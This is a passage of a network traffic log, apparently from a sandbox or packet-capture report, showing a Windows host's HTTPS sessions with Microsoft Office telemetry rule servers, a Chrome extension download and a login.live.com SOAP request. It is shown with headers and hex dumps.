2024-11-12 07:30:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:31 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 846ef32c-001e-0017-30a7-340c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073031Z-17df447cdb5jg4kthC1DFWux4n0000000bk000000000cndh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:31 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49787	172.217.18.1	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:31 UTC	594	OUT	GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 07:30:31 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AHmUCY0GkvHhk2fe-WEcJJ_nA6Rkxma9OWZFvSN9bVkDiuDy_iOqPoshpbDpZl8I77_jvWIrRQGo35mZtg X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Mon, 11 Nov 2024 20:33:29 GMT Expires: Tue, 11 Nov 2025 20:33:29 GMT Cache-Control: public, max-age=31536000 Age: 39422 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-12 07:30:31 UTC	805	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-12 07:30:31 UTC	1378	IN	Data Raw: aa 54 89 36 c1 f8 f2 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc Data Ascii: T6Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ
2024-11-12 07:30:31 UTC	1378	IN	Data Raw: 88 1b 77 cc 06 18 f9 d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 Data Ascii: wxC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$
2024-11-12 07:30:31 UTC	1378	IN	Data Raw: ec 3c 53 7b bd 2b 0d f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 Data Ascii: <S{+H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-11-12 07:30:31 UTC	1378	IN	Data Raw: 73 be d1 73 8f fe f4 bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 Data Ascii: ss!3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w
2024-11-12 07:30:31 UTC	1378	IN	Data Raw: 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?Brf
2024-11-12 07:30:31 UTC	1378	IN	Data Raw: d6 92 10 e8 84 d6 9a 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79
2024-11-12 07:30:31 UTC	1378	IN	Data Raw: ad c4 ca 60 aa 12 70 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 Data Ascii: `p[{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&
2024-11-12 07:30:31 UTC	1378	IN	Data Raw: 58 0d 04 41 31 f1 f1 a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f Data Ascii: XA1TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/
2024-11-12 07:30:31 UTC	1378	IN	Data Raw: 14 0d 73 e2 64 7e de 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 Data Ascii: sd~v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/me

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:31 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:31 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 2d611ff0-901e-002a-3d01-2d7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073031Z-16547b76f7fx6rhxhC1DFW76kg0000000fbg000000003daw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:31 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:31 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:31 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: aa5f00e8-901e-0029-53a0-34274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073031Z-17df447cdb5fh5hghC1DFWam0400000008rg000000004f1w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:31 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:31 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:31 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: fb68cf1d-a01e-001e-3b01-2d49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073031Z-16547b76f7fcjqqhhC1DFWrrrc0000000f8g000000009yy1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:31 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49792	20.190.159.23	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:31 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-12 07:30:31 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-12 07:30:32 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 12 Nov 2024 07:29:31 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BAY x-ms-request-id: 245d4d1f-85e1-4d8d-86be-6038db5b0e5f PPServer: PPV: 30 H: PH1PEPF00011EA7 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 12 Nov 2024 07:30:31 GMT Connection: close Content-Length: 1276
